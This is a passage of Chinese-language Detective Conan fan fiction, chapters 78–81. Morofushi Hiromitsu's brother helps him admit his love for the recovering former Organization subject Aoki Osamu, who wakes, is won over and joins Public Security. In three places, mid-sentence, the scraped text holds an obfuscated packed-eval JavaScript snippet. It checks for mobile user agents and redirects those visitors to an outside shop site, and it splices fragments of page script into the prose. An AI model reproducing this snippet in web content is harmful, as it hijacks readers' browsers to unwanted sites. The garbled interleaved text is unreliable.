能在新年尝到家乡的味道,诸伏景光一点都不在意它是不是速食。 “这位应该就是上次你跟我提起的人吧。” 居然选择来东京,诸伏高明自然做好了事先准备,不然也不可能这么准确无误地找到警察医院来。 “……是。” 面对兄长,诸伏景光的声音忽然弱了几分。 “他的名字是青木修。” 诸伏高明点点头,其实他在找来的时候就已经知道病床上的人的名字了,不过他不介意再听弟弟给他介绍一遍。 “他是组织培养长大的实验体,帮过我不少,也救过我好几次……” 诸伏高明静静地听着弟弟为自己讲述在组织里卧底期间的那些过往。 不得不承认,这些经历当真是惊险极了,就像是在高空走钢丝,一不小心随时都有可能万劫不复。 但是听上去弟弟也似乎很幸运,遇见了这位名叫青木修的人。 直到诸伏景光说完,他才提出问题,“景光,刚刚你一直在说他为你做过的事情,似乎没有提起过自己的想法?” 诸伏景光哑然,心道不愧是哥哥,一下子就看出了自己在逃避什么。 “我……” “你觉得你可以通过行动来暗示对方?” 诸伏高明接过诸伏景光的话,“但是你有没有想过,有的时候,行动的效果其实没有语言好?” “有些话你不说出来,就永远无法打破你们中间的隔阂。” 诸伏景光喉咙发紧,他想说青木修现在甚至连见到他都不一定愿意……但是话在嘴边打了个转还是被他咽回了肚子里。 诸伏高明知道弟弟把自己的话听进去了,从带来的袋子里找出两桶速食荞麦面,“你在这里看着青木先生,我去泡面。” 诸伏景光还是有些不好意思让难得来一趟东京的哥哥就这么吃速食。 “哥哥,晚上我们出去吃吧。” “好。” 诸伏高明知道弟弟的心意,也没有拒绝。 “你还愿意听我说话吗?” 诸伏景光十分没有自信,却又不甘心再和青木修就这样错过。 他有预感,如果这次自己再不抓住机会,这辈子都别想有机会了。 78.第 78 章 诸伏景光的眼睛一动不动地锁在青木修的身上,可惜对方并没有因为他的话而有什么反应。 “也对……”诸伏景光很是丧气的垂下脑袋,“伤了你这么多次,不想再听到我说话也是正常的。” 青木修搭在被褥上点滴的手苍白、瘦削,冰凉,诸伏景光每天都会为他捂手,可惜一直没什么成效。 诸伏高明很快带着两桶热气腾腾的速食荞麦面回来,他轻轻用脚抵开门,正好捉住诸伏景光拿着棉签往青木修唇上沾水的一幕。 得益于他的悉心照顾,青木修的嘴唇并没有出现太严重的干裂。 兄弟俩挤在病房里吃了一顿团圆饭。 诸伏高明注意到弟弟的眼神总是不受控制的往青木修的方向飘忽。 “那么,现在愿意跟我讲一讲你们的故事了吗?” 处理掉泡面桶,诸伏高明回到病房,拉开椅子坐在诸伏景光的面前。 “嗯?” 诸伏景光有些不解,不是已经和哥哥说过一遍他和青木修之间发生的那些事了吗? “我是说——”诸伏高明看穿弟弟的心思,伸出一根手指点了点诸伏景光,又点了点病床上的青木修,“你和他之间的——故事,你对他的想法。” 他能看出来,弟弟还是有些逃避。 他不想让弟弟留下任何遗憾。 诸伏景光哑口无言,果然不管长到多少岁,哥哥永远都是哥哥。 “我……” 他斟酌了许久才开口,声音低的近乎是蚊子的嗡嗡声。 “我喜欢他……” 说出这句话花了他很多勇气,即使是在最亲近的哥哥面前,剖白自己的内心也是一件非常不容易的事情。 “哦啦——” 诸伏高明拖长声音,有些玩味地看了弟弟一眼。 很好,看来景光已经迈出了这一步。 “但是我……我觉得很对不起他……而且……” 诸伏景光思考良久,还是觉得诸伏高明有知晓真相的权利,就算他不说,等青木修醒来,见到诸伏高明,知道他的身份后肯定也会说。 “他和爸爸妈妈的死有关系。” 诸伏景光深吸一口气,做足了心理准备,一鼓作气倒豆子似的把青木修和诸伏夫妇的事说了出来。 一时间,长野孔明也有些无话可说。 虽然不知道弟弟从哪里知道的事情的细节,但他描述的很清楚,青木修也是受害者之一,只能说和诸伏夫妇的死有关系,但并非罪魁祸首。 当初可是诸伏夫人先找的青木修。 好在诸伏高明是个成熟理智的人,他并没有迁怒青木修。 “你们俩还真是……”有缘呐。 这样一来,事情似乎变得更复杂了。 不过诸伏高明的思路很清晰,“正是因为有这么多事情阻隔在你们之间,你更应该主动去扫除这些障碍为自己争取机会。” 不得不说,诸伏高明的存在确实让诸伏景光没了一开始那样全然的手足无措。 “谢谢哥哥。” “你我兄弟之间,不必言谢。” 他们本就是血脉相连的兄弟。 通过诸伏景光的描述,他也对青木修产生了一些好奇,他想知道究竟是怎样的一个人,在黑暗的角落还能拼命开出灿烂的白花。 下午的时候降谷零也过来了一趟,见到诸伏高明的时候表现得很意外。 “高明哥?” 他只见过诸伏高明几次,但是对于这位兄长的好感度很高。 “前段时间很忙吧?” 亲眼见到两个弟弟都平安无事的从那个组织里回来,向来没有过重情感表达的诸伏高明溢于言表的高兴。 从降谷零的描述里,他又把两个人在组织中的生活构建的更加丰满,仿佛从两个人的只言片语中,看到了自己缺席弟弟生活的那段时光。 想到诸伏景光晚上应该会想和青木修一起待着,降谷零索性提议他们提前一些去吃晚饭。 惦念着病房里的人,这顿晚饭进行的很快,他们三个仅仅是在警察医院附近的一家小馆子里简单解决。 “等青木修醒了,我要你请我回长野吃一顿。” 降谷零拍拍诸伏景光的肩膀,“他们三个说明天就过来看你。” 看得出来,这位曾经是多面颜的公安先生心情很好。 “一定。” 诸伏景光也很高兴,这是他在踏入组织时未敢想过的完满结局——如果某个人也在的话就更好了。 不过没关系,他们以后还有很多机会聚餐。 是的,诸伏景光已经打定了主意,他不可能再错过青木修。 都说环境影响人,这句话一点也没错,诸伏景光不可避免的受到了组织的影响,他甚至想过,只要青木修不表现出明显的拒绝,他就算是把人锁起来也要藏在身边。 诸伏景光从来不是他外表看上去的那样老好人。 过了晚上十点钟,诸伏景光劝诸伏高明先回他在东京的公寓里休息。 “今天是一个新的开始。”诸伏高明没有同意,“我过了十二点再走。” 诸伏景光很是狐疑地看了眼乍看上去有些文弱的兄长。 “……你那是什么眼神。” 觉得自己被弟弟轻视了的诸伏高明如是说。 他说到做到,在时钟快要抵达十二点时站起身,准备在离开前为弟弟打一壶热水。 诸伏景光趴在青木修的床边,脑袋一点一点地打着瞌睡。他一如这段时间以来所做的那样,用自己的手掌捂着青木修放在被子外的那只手。 从迷雾中艰辛寻找到出路的青木修缓缓睁开了眼睛。 长期的卧床让他没能在第一时间获得身体的掌控权,眼前是洁白的天花板,他花了一点时间才意识到自己现在身处何地。 视线缓缓下移,落在了病床旁的黑色发顶上。 他想动一动,但几乎没什么力气,就连唯一能活动的手指都似乎被什么东西压住了。 诸伏景光的脑袋在病床边沿晃了下,使他从困顿中惊醒。 比意识先一步到达的,是手心里包裹的手掌微微用力的触感。 说是微微用力都有些过了头,但他还是感觉出来,那只手,动了。 不可置信地瞪圆了猫眼,他猝然抬起头,正好和还没来得及收回视线的青木修撞上。 鬼使神差般,诸伏景光分心看了眼墙上的挂钟。 还有三分钟到十二点。 青木修赶在他三十三岁生日的最后三分钟睁开了眼睛。 “你……醒了。” 青木修暂时说不出来话,只能点点头用以回应。 他在与诸伏景光视线相撞的后一秒就移开了目光。 即使到了现在,他依旧无法直面诸伏景光的眼睛。 已经打好水,注意到病房里有了动静,贴心站在门后没有第一时间打扰两人的诸伏高明在此时恰好走了进来。 “先喝点水。” 诸伏高明把水壶放下,看了眼时间。 就两人发呆的功夫,时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14539362|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟已经悄然走过了十二点。 “到时间了,我先走了,明天见。” 诸伏高明从背后拍了拍弟弟的肩膀,把空间留给了两人。 青木修原本还指望这个长得和诸伏景光很像的男人转移转移话题,没想到对方这么快就要离开了。 他的目光一直追着诸伏高明离开的背影。 “咳咳,”诸伏景光清了清嗓子,“那是我哥哥,诸伏高明。” 青木修瞬间像是被烫到一样收回视线。 又是诸伏家的人。 原本已经结了血痂的伤口重新被撕裂开,汩汩往外冒着鲜血。 注意到两人仍旧交叠在一起的手,青木修默不作声地试图缩回手指。 但是他的小动作根本瞒不过诸伏景光。 “你在躲我?” “……” 青木修似乎没想到诸伏景光会把话说得那么直,直接卡了壳。 “为什么要躲我?” 诸伏景光缓缓站起身,欺身向前把青木修困在自己的双臂之间。 想要避开他的青木修现在根本无处可躲,他咬了咬嘴唇,默默垂下眼帘。 诸伏景光简直要被他这副消极抵抗的样子气笑了。 本就是抱着再看一眼诸伏景光的念头才会愿意醒来的青木修没料到对方会给自己这么大一个“惊喜”。 按照推断,自己昏迷的这段时间诸伏景光应该都在这里守着。 已经耗费掉全部勇气的青木修更加心虚了。 “诸伏景光。” 他用了好一会儿才重新找回自己的声音。 “嗯?” 诸伏景光现在觉得自己前所未有的有耐心,不管青木修要酝酿多久他都能等。 “你……对不起。” 诸伏景光前一秒还算高兴的眉眼闻言瞬间耷拉下来。 “你就没别的什么想说?” 青木修眼神闪烁,显然是有话想说的样子。 “谢谢你照顾我。” 他现在就像是挤牙膏一样,诸伏景光挤一下他说一句。 但诸伏景光现在异常耐心,这么长时间他都等了,还在乎这一会儿吗? “乌丸莲耶抓到了吗?你的伤还好吗?其他人呢?有没有事?” “抓到了,还好,没事。” 青木修又不说话了。 “青木修,你就不关心关心你自己吗?” 青木修心说我有什么好关心的,不过是一个要死的人而已。 “一切都已经结束了。” 诸伏景光败下阵来似的叹了一口气,“我答应过你,要带你去看看未来是什么样子。” 青木修记起了这句他和诸伏景光认识不久后对方许下的承诺,慢慢抬起眼睛。 那双灰色的眼睛依旧水润润的,但是却没什么神采。 诸伏景光心尖一痛,他隐约猜到了青木修如此回避自己的原因。 “看着我,青木修,看着我。” 他的声音就像是有魔力一样,让青木修慢慢对上他的眼睛。 “听我说,现在一切都已经结束了,我好好的,我们都会好好的。” 青木修无力摇头,“我杀过人……我是组织的实验品……我可能活不久,我……” 忽然,他“我”不下去了——诸伏景光轻轻吻住了他,把青木修所有未尽的话语全部堵在了嘴巴里。 “可是,我喜欢你。” 他凝视着青木修灰色的瞳孔。 “我喜欢你,青木修。” 79.第 79 章 青木修不知道是被吓得还是怎么着,好半晌都没能再吐出一个字来。 诸伏景光注意到他的喉结上下滚动着,应该是有许多话想要说。 “我没有骗你。” 忽然想起自己在青木修这里恐怕已经变成负数的诚信,他强调似的补充了一句,虽然听上去也并没有什么说服力。 “你……” 青木修的眼睛闪烁了几下,最终他的目光还是从诸伏景光的脸上移开了。 “我……我们……不合适。” 他的眼神飘忽,没一个准确落点到处乱看,说话吞吞吐吐,诸伏景光不动脑子就知道他是在撒谎。 他确实想过如果青木修严肃拒绝他就放手,但前提条件是青木修真心实意的拒绝他,而不是像现在这样违心的说着毫无可信度的谎话。 “你确定吗?” 他反问了青木修一句。 “……” 好不容易提起的一些勇气又被他这一句轻飘飘的话打散了。 青木修试图积极抗争无果,最后还是选择消极抵抗。 他天真的以为自己把诸伏景光耐心耗尽之后对方就会离开。 只是他现在的身体还没有痊愈,根本比不过诸伏景光,两人还没有对峙多久,汹涌的困意便席卷了他。 诸伏景光饶有兴趣的看着青木修的眼睛一点一点闭上,最终脑袋一歪睡了过去。 他把病床重新放平,和衣在一旁的陪护床上躺下。 青木修如今已经恢复了意识,后面的睡眠时间就算长一点应该也不会有什么意外。 他知道青木修的性格,既要强硬一些又不能把人逼的太紧,不然只会物极必反。 他们的时间还多着呢。 诸伏景光也难得睡了一个安稳觉。 只是他低估了青木修的行动能力。 “你想跑去哪里?” 第三次把意图溜走的人提溜回病房,诸伏景光疲惫地捏了捏眉心。 他以为青木修的消极抵抗就是不回答自己的话,不和自己进行任何眼神交流,但万万没想到居然还有试图逃跑这一项。 新年假期很快就过去了,诸伏高明回到长野前给弟弟留话:“等你带他回来”,当时的诸伏景光还觉得这不过是小事一桩,现在他只觉得自己任重而道远。 他现在也要回警察厅继续工作,没办法再像以前一样守着青木修,而警察医院的其他人根本不是青木修的对手,只要他想,总能有办法神不知鬼不觉地偷溜出去。 第一次发现病房里的病人不见了之后,主治大夫给诸伏景光打电话的声音听上去简直快要哭出来。 “我知道了,我这就来找他。” 向黑田兵卫说明了情况,后者很爽快的允许他暂时离岗去找人。 当时诸伏景光是在距离警察医院不远的一个小公园找到的青木修。 他坐在公园长椅上发着呆,脚边有一只看上去年龄不大的小野猫在围着他脚脖子打滚。 诸伏景光不确定青木修是太投入了神游天外,还是积年累月的折磨让他现在的能力大不如前,以至于自己都站到他背后了还是没有任何反应。 “在想什么?” 诸伏景光注意到他的目光一直虚虚地落在正努力引起人类注意的小猫身上。 青木修被身后突然冒出来的人吓了一哆嗦,在意识到来人是诸伏景光后撒腿就想跑,但诸伏景光早有准备,出手如电,一手一个正好把一人一猫全部捉住。 茫然的猫猫求助似的看了青木修一眼,后者回给他一个欲哭无泪的表情。 “喜欢它?” 诸伏景光提着小橘的后脖颈轻轻晃了晃。 青木修小心翼翼地看看他又看看小橘,犹豫不定地点点头。 “医院不能养猫,晚上我会把它带回家。” 青木修并没有表现出什么失望的神色,他的未来飘忽不定,倒不如让这只小猫跟着诸伏景光,还能有一个安稳的家。 “怎么不打一声招呼就从医院跑出来了?” 商量完小橘的归宿,诸伏景光开始和青木修“算账”。 “……对不起。” 青木修嗫嚅半天,憋出了几个字。 诸伏景光简直快要对“对不起”这几个字应激了,他现在一听到青木修说“对不起”就会无法控制的回想起那天他满身是血的倒在自己怀里的场景。 “不要和我说对不起。” 他尽量让自己的声音听起来如往日一样温和,“在医院里太闷了,我能理解的。” 是个人都不喜欢在医院里待太久,更何况青木修现在连个正经的娱乐项目都没有。 青木修把头垂得更低了,可还是躲不开诸伏景光喷洒到耳边的呼吸。 他现在觉得自己的耳朵几乎快要烧着了。 “青木,我说过了我喜欢你,这一点并不会随着你的身份而改变。” 诸伏景光见好就收,把青木修送回了医院病房。 “我下了班立刻来看你。” 他看不见青木修刻意避开自己的眼睛,也不知道对方听了自己的话是什么表情。 距离第一次开溜仅仅过了三天,青木修再一次不见了。 主治大夫很是崩溃,不停地向诸伏景光解释自己已经增加了监督的人手,但不知道为什么青木修还是顺利地跑了。 这一次诸伏景光在两人曾经租住的安全屋楼下找到了他。 彼时青木修正看着上方的公寓阳台出神。 他们退租以后,这间公寓很快又被出租给了别人,新任租客看起来很热爱生活,连阳台上都摆满了花。 发现诸伏景光找来了,青木修这次学聪明了当场拔腿就跑,两人甚至还上演了一场“追逐战”。 这场比拼最后以诸伏景光抓住青木修的后脖颈告终。 今天是青木修第三次溜走。 诸伏景光找了一圈青木修可能会去的地方都没把人找到,他也有些急了,最后抱着试一试的希望去了已经被废弃的东京基地。 那里现在有人看着,但他知道这些看守根本拦不住青木修。 青木修果然在这里。 这一次对方似乎一点都不惊讶他会这么快就找到这里来,也没有做无谓的反抗,老老实实被诸伏景光带回了警察医院。 “医生说你这个星期就能出院了。” “嗯。” 青木修似乎对自己最终的去处并不关心,既没有对未来落脚地的疑问,也没有长期住院的烦闷。 但是诸伏景光有些焦虑了。 他怕青木修出院之后直接给自己玩消失。 “……差不多就是这样吧。” 警察厅食堂,诸伏景光绝望地抓了抓头发,闭上眼睛接受来自几位同期的嘲笑。 今天警察厅有活动,他在警视厅的三位同期也在参与名单里,五个人趁着中午的时间干脆在食堂里小聚一次。 “我是让你们帮我想办法的,不是让你们来看笑话的。” 知道这句话没什么威胁性,诸伏景光看上去更加绝望了。 “喂喂,景老爷,我们几个除了班长之外可是一点经验都没有啊!”松田阵平的卷毛看上去更炸了,“我们几个就算敢说,你敢听吗?” “……”诸伏景光极为无语地瞪了他一眼,接着把求助的目光投向伊达航。 “我和娜塔莉的经验可能对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14550298|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来说不太适用……” 伊达航委婉的说出了令诸伏景光无比扎心的事实。 谁家正常小情侣像他们这样啊?! “你们几个,还不如我哥靠谱!” 诸伏景光已经开始认真考虑晚上给诸伏高明打电话的可行性了。 “要我说高明哥说的也没错啊,”降谷零终于笑够了,“你直接一点不就行了?” “我已经很直接了啊!” 还要他怎么直接?直接把人打晕扛回家里是吗! “不不不你误会了——” 降谷零注意到诸伏景光明显是出现了理解误差的表情,决定抢救一下自己的清白。 “我是说,你把他藏在心里的想法当着他的面说出来,逼他面对自己的内心。” 萩原研二这时候也回过味儿来,“小诸伏,你虽然跟青木说了你的想法,但是他现在逃避的对象不是你,而是他自己的内心,为什么不试试小降谷办法呢?” 他的话提醒了诸伏景光,这段时间一直都是他在向青木修表述自己,他觉得自己看出了青木修的内心想法也就没有多问过。 如今看来,和当初兄长让自己讲述和青木修的故事是一个道理,他们都需要直面自己的内心。 “谢了。” 几个毫无经验的狗头军师凑在一起,居然还真的让他们找到了问题的关键。 时间转眼来到青木修被获准出院的那一天。 他脱下了这几个月不离身的病号服,换上一身常服,等到诸伏景光赶到警察医院的时候,他已经把自己的行李差不多都收拾好了。 所谓的行李也不过是几件换洗衣物和医生开的药,整整齐齐叠好放在背包里。 “青木,我来接你回家了。” 今天是个休息日,诸伏景光难得不用加班。 青木修正靠在床上吊最后一瓶水,眼睛闭着,也不知道有没有睡着。 他的身体现在不大好,还有些嗜睡, 根据医生和护士反馈给诸伏景光的情况来看,青木修绝大多数时间都在假寐,几乎没有什么活动。 青木修在他出声的瞬间就睁开了眼睛,视线在空中无意识地和诸伏景光的目光交汇了一秒,接着便触电似的移开了。 “你还要一直躲着我吗青木?” 已经打定主意的诸伏景光并没有像以前一样简单的放过他,而是径直走到了青木修的身前。 后者几乎是下意识地就抬起头来看他。 “你躲着的不是我,”诸伏景光注意到青木修的身体轻轻颤了一下,“你躲着的是你自己的心。” 他充满诱惑力的声音在青木修的耳边响起。 “你也喜欢我不是吗?为什么不肯承认自己的内心?” 青木修抖得更厉害了,他一直以来小心翼翼隐藏的秘密就这样被诸伏景光摆在了两人面前。 “我喜欢你,你也喜欢我。” 诸伏景光继续循循善诱,“跟我回家吧,我们可以先试一试,不合适的话分开也不迟。” 他心里却在说只要青木修今天选择了跟他回家,就别再想有机会离开了。 也许是那句“试一试”打动了青木修,他怯怯地看向诸伏景光的眼睛。 “诸伏景光,”他忽然觉得自己一点出息也没有,面对诸伏景光,他总是一点拒绝的力气也没有,“你就是个混蛋。” 诸伏景光面不改色的承认,“嗯,我是个混蛋。” 青木修哪里见过诸伏景光这副样子? 他支支吾吾了半天也想不出什么能够压制对方的话,结果怒从心头起恶向胆边生,干脆一不做二不休,趁着诸伏景光没反应过来之前亲上了他的唇。 80.第 80 章 在意识到青木修做了什么的下一秒,身手老练的卧底先生立刻反客为主,彻底把青木修禁锢在了自己的怀抱里。 别想再离开我了,青木修。 诸伏景光终于如愿以偿把人顺利拐回了家。 “进来吧。” 他打开自己在东京暂住公寓的门,视线移向还站在电梯口显得有些踌躇的人—— “啊?哦,哦。” 青木修像是下定了决心一般,深吸一口气憋住,尽可能让自己看起来平稳的走进大门。 其实诸伏景光也很久没有回来过了,但在组织的事情基本落下帷幕之后,他还是在成山的工作里挤出了一些时间,把这里彻彻底底打扫了一遍。 青木修克制住自己的眼神没有乱看,他仅仅是从目前视线范围内的一些画面里推断出了一些东西: 这里的装修非常简洁,像是一个样板间,但看得出来近期被主人十分精心的清扫过,客厅里有一些明显刚添置不久的物品,给这里添上了一丝柔和。 “喵~” 注意到大门口的动静,原本在猫爬架最顶端团成一团的小橘迅速冲了下来,卧倒在青木修的脚边,翻身,露出柔软肚皮的动作一气呵成。 “小橘?” 见到焕然一新的小猫,青木修肉眼可见的放松了下来。 “它没给你添什么麻烦吧?” 但他也没忘记诸伏景光的工作,忙碌的公安想要养一只猫可不容易。 “还好,”诸伏景光为他拿来了自己早就准备好的拖鞋,“小橘很听话,不用我费什么心。” 他没有撒谎,这只小橘猫非常有眼力见,从来不拆家,吃饭什么的一教就会,平时基本上都在猫爬架上自娱自乐,只有在看到他回家的时候才会从上面下来,然后安安静静地窝在他脚边。 和某个人一样。 青木修对诸伏景光的内心想法全然不知,他换好鞋,终于没忍住,一把抱起了不断在他身边撒娇的小橘。 他的动作极尽轻柔,根本不敢用什么力气。 这种温热的触感对于他来说是很陌生的,曾经跟他短暂相处过的那一只比格犬因为长期经受组织的实验,实际上瘦骨伶仃,根本没几两肉。 在诸伏景光的视角里,现在就像是一只第一次遇见猫咪的德牧,小心翼翼地触碰着自己的新伙伴。 “别在门口站着了,过来。” 虽然眼前的画面很美好,但诸伏景光还是不得不出声打断他们。 有了小橘的陪伴,青木修的动作看上去自然了许多,乖乖跟着诸伏景光的脚步抱着猫在客厅沙发上盘腿坐下。 “有一件事我想问问你。” 诸伏景光略显严肃的嗓音立刻吸引了青木修的注意力。 他把怀里的小橘放下,整个人挺直了脊背,用仿佛是在等待命令的目光看着他。 “倒也不用这么紧张。” 诸伏景光被青木修的表情逗得破了功。 “黑田长官让我问问你,想不想去公安工作?主要可能负责的是组织犯罪方面。” 他们这里没有人会比青木修更清楚有组织犯罪的套路。 “唉——?” 青木修没料到诸伏景光会突然问这个,惊讶得没收住嗓音。 “我吗?” 他微微睁大眼睛指了指自己,一副“你在开什么玩笑”的表情。 然而诸伏景光再次重复了自己方才的话。 “我没有和你开玩笑。” “可是我……组织……” 字句在青木修的嘴巴里进进出出,半天没有形成一句完整的话,但是诸伏景光却准确的理解了他想要表达的意思。 “杜林标来自于组织没错,但是——” 他的猫眼微微上挑,“‘青木修’的履历可是一片空白。” 言下之意,他现在的档案就是一片空档,公安他们想怎么编就怎么编。 “啊……” 青木修被他们这一通操作弄得惊呆了,原来公安也可以这样吗?! 他对自己心目中“公安”的形象有了些微改变。 “所以,你的想法是什么呢?” 青木修陷入了短暂的思考。 诸伏景光知道这并不是一个能够轻易做出的决定,耐心地等待着他的答案。 “好。” 半晌,他听到了青木修一句几乎微不可闻的应答。 “作为你未来的上司,我代表警察厅警备企划课公安欢迎你,青木修。” 青木修忽然觉得自己被坑了。 这家伙刚刚怎么不把自己答应了就会成为他下属的话也一起说出来? 几乎是迫不及待地,诸伏景光第二天一上班就带着青木修杀往警察厅办理个人档案。 虽说他的履历还需要经过公安的研究才能一点点补充完整,但至少一系列平时生活中需要用到的证件全部都通过加急手续批了下来。 证件被交到青木修手上时,仿佛还带着余温。 他几乎是转瞬间就从一个“黑户”,变成了一个有着完整过去的“人”。 “青木修先生。” 在被诸伏景光领着参观了未来办公室,顺道还和降谷零打了个招呼后,青木修忽然被人叫住。 “别紧张,这位是黑田长官。” 青木修虽然还没有和黑田兵卫以新身份正式见过面,但也从诸伏景光口中听到过一些关于对方的信息。 “您好。” 第一次作为“公安”面见诸伏景光的上司,刚从黑户转变身份的青木修有些僵硬。 “没关系,”黑田兵卫本人实际上比他看起来的样子要平易近人的多,“感谢你为诸伏和降谷的付出。” “没没没……没有……谢谢……” 青木修语无伦次,一时间整个人都凌乱了,不知道现在该说些什么合适。 和诸伏景光描述的一模一样,黑田兵卫不动声色地把青木修的反应和诸伏景光对他的描述一点点对上。 并不是出自于什么“对正义之士”的恐惧,现在的青木修完全是因为从没遇见过这种场面而表现出的手忙脚乱和窘迫。 “这是我们应该做的,欢迎你成为我们的一员。” 完全没想到自己的决定会被上升到这种高度的青木修:…… “下周就要正式工作了,”好在黑田兵卫善解人意地体会到了他的慌张,“现在可以和诸伏一起好好熟悉一下。” 望着黑田兵卫离去的背影,青木修呼出一口浊气。 “黑田长官其实人挺好的,你不用怕他。” 全程诸伏景光的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566529|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就一直在青木修的后背上,从未离开过。 “我不是怕他……” 一直等到黑田兵卫走远彻底看不见,青木修才小声地说:“我只是,从来没有哪个人这样和我说关于工作的事情。” 也对,诸伏景光眼中闪过一丝了然,从前在组织的时候,想来那些人也只会用命令的语气直接对青木修发布任务,这样郑重的场合应该还是第一次。 “以后这样的机会还多着呢。” 他笑起来,重新牵起青木修的手,“你的通行证应该也办下来了,我们去看看吧。” 进入警察厅的顶楼公安办公层需要特殊的通行认证,方才青木修还因为要办理这个被诸伏景光现场拉走拍了一张证件照。 可以说没有任何面对镜头经验的青木修当时对着摄像机表现出了明显的焦虑,他听见快门声下意识就想躲,为了给他拍一张证件照,两个摄影师也是急得满头大汗。 最后还是诸伏景光出手,才把人安抚下来。 “青木先生,这是您的通行证,请务必收好,如有遗失或损坏……” 风见裕也还在一旁尽职尽责地为青木修一条条交代相关的注意事项,被交代者本人也尽力让自己的注意力停留在辛苦的未来同事身上—— 但他实在很难不去注意诸伏景光盯着他证件照看的表情。 照片上的青木修撩起了额前的碎发,露出光洁饱满的额头,一双眼睛紧紧盯着镜头的方向,脸上还有未褪完的紧张。 但他的五官确实是舒展开的,年轻的面孔终于扔掉了常年如影随形的阴鹜,俊朗的甚至有几分“意气风发”的味道。 诸伏景光从这一张相片里,终于窥得了一些青木修青年时期的影子。 如果没有组织,他或许会比现在更加肆意潇洒,更加快乐。 不过一切都已经结束了…… 青木修敏锐地觉察出他的情绪变化,微微紧了紧两人相握的手。 一切都已经结束了,从今以后这个世界上将再不会有“杜林标”,取而代之的是有着过去,现在和未来的青木修。 “青木先生,欢迎你的加入。” 絮絮叨叨终于把一长串注意事项念完的风见裕也松了下脖子上的领带,把手里所有的东西一并递给青木修。 他对这个前组织出身的未来公安有几分好奇,但完全没有怀疑——任谁也不会怀疑自己上司的救命恩人。 “谢谢你,风见先生。” 青木修非常彬彬有礼地从风见裕也的手中接过证件和其他档案。 他以为所有的入职程序到这里就应该结束了—— 然而并没有。 青木修一脸崩溃的朝台下笑得见牙不见眼的诸伏景光投去求救的目光,但是后者不仅不帮忙,甚至还给了他一个“加油”的鼓励微笑。 加油个鬼! 黑田兵卫居然……居然给他办了一个入职仪式! 天知道这群人是怎么想到要给自己这样一个前组织成员举办入职仪式! 但是现在说什么也来不及了,黑田兵卫的话已经说完,现在所有人的目光集中在了自己的身上。 青木修握紧了拳头,装作云淡风轻的样子走到最前方。 “大家好,我是警察厅警备企划课公安青木修,以后还请多多指教。” 81.第 81 章 组织的事情尘埃落定之后,诸伏景光他们五个终于能卸下一身的担子,坐在一起好好喝一杯。 “景老爷,降谷那家伙可是说了,今天你们都不加班。” 午餐时间,松田阵平拦住了诸伏景光。 “嗯?看样子你们都已经商量好了哎。” 诸伏景光低头看了眼手上拎着的咖啡,还在寻思等会儿和青木修午饭吃什么。 “那当然,”松田阵平低头看看手表,萩原研二应该拖住了青木修,“把青木也一起带来呗?” 诸伏景光自己自然是不介意带上青木修,但他另有顾虑,“我会和他说……但是不能保证他一定愿意来。” “这个我们也早就想到了,班长派出了金毛混蛋和hagi,肯定没问题的!” 诸伏景光失笑,这算不算是先斩后奏? 另一边的青木修也正在去食堂的路上,在楼梯拐角突然被降谷零和萩原研二拦住了去路。 “……”青木修咽了下口水,他知道诸伏景光的同期肯定不会害自己,但奈何面前两位大猩猩压迫感着实有些强。 “小青木不要那么紧张嘛!” 萩原研二觉得自己好像看见了一只飞机耳的猫猫,没忍住破了功,“你们组织犯罪科那边今天应该不加班?” “啊?啊……是的。” 降谷零也收起了方才的那副严肃表情,“晚上一起去聚餐?” 青木修露出了犹豫之色,按照常规社交来说自己现在不应该拒绝,但是…… “景老爷也会去。” 萩原研二连忙补充道。 “你们要同学聚餐?我去不太方便吧……” 听起来应该是诸伏景光和同期的聚餐,他说到底只是外人。 “可是景老爷特别邀请我们当说客,一定要让你跟上啊。” 萩原研二不愧是联谊老手,把青木修唬得一愣一愣。 “他说单凭他一个人你肯定会犹豫,干脆就让我们来找你啦!” 青木修入职以来对萩原研二的事迹也多多少少有所耳闻,于是看向降谷零——降谷警官是景光的幼驯染,应该不会撒谎。 “没错。” 降谷零非常肯定地点头,“hiro就是担心自己说不动你才让我们来的。” 青木修见他神色认真,又一想萩原研二在警视厅上班,大中午跑来警察厅也很辛苦,多半就是他们说的那样。 “好的,谢谢你们。” 入职公安以后,青木修把头发剪短了一些,几缕碎发垂在脸颊边,看起来分外乖巧。 降谷零和萩原研二对视一眼:任务完成! 萩原研二拍拍青木修肩膀。 “那就不打扰你和景老爷啦~” 不等青木修稍作挽留,俩人一溜烟就跑得没影了。 还在诸伏景光这边的松田阵平收到来自萩原研二的消息,直接把短信亮给诸伏景光。 “喏,青木已经答应了。” “你们不会把我搬出来了吧?” 诸伏景光一挑眉毛,显然是已经看穿了几位同期的计策。 